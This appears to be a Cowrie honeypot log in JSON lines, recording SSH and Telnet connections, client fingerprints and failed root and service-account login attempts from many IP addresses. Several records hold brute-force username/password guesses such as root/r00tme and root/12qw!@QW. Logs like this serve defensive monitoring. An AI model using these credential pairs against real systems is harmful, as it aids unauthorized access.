{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:16.852406Z","src_ip":"186.246.14.196","session":"54ca5bbad16b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":50310,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcb710800f2a","protocol":"ssh","message":"New connection: 222.107.156.227:50310 (10.17.0.5:22) [session: bcb710800f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:21.066263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:21.071650Z","src_ip":"222.107.156.227","session":"bcb710800f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:21.270730Z","src_ip":"222.107.156.227","session":"bcb710800f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:22.094907Z","src_ip":"222.107.156.227","session":"bcb710800f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:23.297615Z","src_ip":"222.107.156.227","session":"bcb710800f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":45014,"dst_ip":"10.17.0.5","dst_port":22,"session":"64acc0244f49","protocol":"ssh","message":"New connection: 20.203.42.204:45014 (10.17.0.5:22) [session: 64acc0244f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:34.705424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:34.711692Z","src_ip":"20.203.42.204","session":"64acc0244f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:34.882671Z","src_ip":"20.203.42.204","session":"64acc0244f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wcs","password":"wcs","message":"login attempt [wcs/wcs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:35.594530Z","src_ip":"20.203.42.204","session":"64acc0244f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:36.769297Z","src_ip":"20.203.42.204","session":"64acc0244f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39312,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cf62585f2e8","protocol":"ssh","message":"New connection: 109.172.54.111:39312 (10.17.0.5:22) [session: 3cf62585f2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:47.762188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:47.768770Z","src_ip":"109.172.54.111","session":"3cf62585f2e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:47.869379Z","src_ip":"109.172.54.111","session":"3cf62585f2e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boriska","message":"login attempt [root/boriska] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:48.218371Z","src_ip":"109.172.54.111","session":"3cf62585f2e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:49.323949Z","src_ip":"109.172.54.111","session":"3cf62585f2e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":40552,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cb3809b9ea6","protocol":"ssh","message":"New connection: 186.233.118.22:40552 (159.203.135.109:22) [session: 0cb3809b9ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:51.888215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:51.894519Z","src_ip":"186.233.118.22","session":"0cb3809b9ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:52.017003Z","src_ip":"186.233.118.22","session":"0cb3809b9ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw!@QW","message":"login attempt [root/12qw!@QW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:52.523684Z","src_ip":"186.233.118.22","session":"0cb3809b9ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:53.645951Z","src_ip":"186.233.118.22","session":"0cb3809b9ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00885319709778,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:13.470797Z","src_ip":"38.211.253.121","session":"29cf26ec77fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":11079,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f5b63453ba6","protocol":"telnet","message":"New connection: 38.211.253.121:11079 (159.203.135.109:23) [session: 3f5b63453ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:15.330029Z"}
{"eventid":"cowrie.session.closed","duration":120.00122356414795,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:15.894937Z","src_ip":"38.211.253.121","session":"add3541424ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00144386291504,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:16.274365Z","src_ip":"38.211.253.121","session":"f000449e9f5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":10609,"dst_ip":"159.203.135.109","dst_port":23,"session":"b27e36114a94","protocol":"telnet","message":"New connection: 38.211.253.121:10609 (159.203.135.109:23) [session: b27e36114a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:16.320976Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":11025,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a6c5f5e9996","protocol":"telnet","message":"New connection: 38.211.253.121:11025 (159.203.135.109:23) [session: 4a6c5f5e9996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:16.590064Z"}
{"eventid":"cowrie.session.closed","duration":120.00991225242615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:31.966697Z","src_ip":"186.55.200.230","session":"e7fd04f4f2bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":33252,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b3806ad2d7","protocol":"telnet","message":"New connection: 186.55.200.230:33252 (159.203.135.109:23) [session: d6b3806ad2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:34.328716Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":46566,"dst_ip":"159.203.135.109","dst_port":22,"session":"885b55257236","protocol":"ssh","message":"New connection: 160.251.182.78:46566 (159.203.135.109:22) [session: 885b55257236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:55.328028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:55.333863Z","src_ip":"160.251.182.78","session":"885b55257236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:55.506366Z","src_ip":"160.251.182.78","session":"885b55257236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:55.819925Z","src_ip":"14.103.118.145","session":"455732e94579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tme","message":"login attempt [root/r00tme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:56.231954Z","src_ip":"160.251.182.78","session":"885b55257236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:42:57.407513Z","src_ip":"160.251.182.78","session":"885b55257236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":57658,"dst_ip":"159.203.135.109","dst_port":22,"session":"27d6e1a84462","protocol":"ssh","message":"New connection: 62.133.63.178:57658 (159.203.135.109:22) [session: 27d6e1a84462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:16.001605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:16.007588Z","src_ip":"62.133.63.178","session":"27d6e1a84462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:16.131144Z","src_ip":"62.133.63.178","session":"27d6e1a84462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fdfyufhl","message":"login attempt [root/fdfyufhl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:16.507850Z","src_ip":"62.133.63.178","session":"27d6e1a84462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:17.630950Z","src_ip":"62.133.63.178","session":"27d6e1a84462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":36312,"dst_ip":"159.203.135.109","dst_port":22,"session":"428e08a31a0d","protocol":"ssh","message":"New connection: 186.233.118.22:36312 (159.203.135.109:22) [session: 428e08a31a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:38.556102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:38.560879Z","src_ip":"186.233.118.22","session":"428e08a31a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:38.679130Z","src_ip":"186.233.118.22","session":"428e08a31a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tme","message":"login attempt [root/r00tme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:39.185973Z","src_ip":"186.233.118.22","session":"428e08a31a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:40.308130Z","src_ip":"186.233.118.22","session":"428e08a31a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":53992,"dst_ip":"159.203.135.109","dst_port":22,"session":"7308f4ab5b19","protocol":"ssh","message":"New connection: 14.103.118.145:53992 (159.203.135.109:22) [session: 7308f4ab5b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:45.868226Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":43910,"dst_ip":"10.17.0.5","dst_port":22,"session":"896ee233292a","protocol":"ssh","message":"New connection: 20.203.42.204:43910 (10.17.0.5:22) [session: 896ee233292a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:54.903434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:54.909090Z","src_ip":"20.203.42.204","session":"896ee233292a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group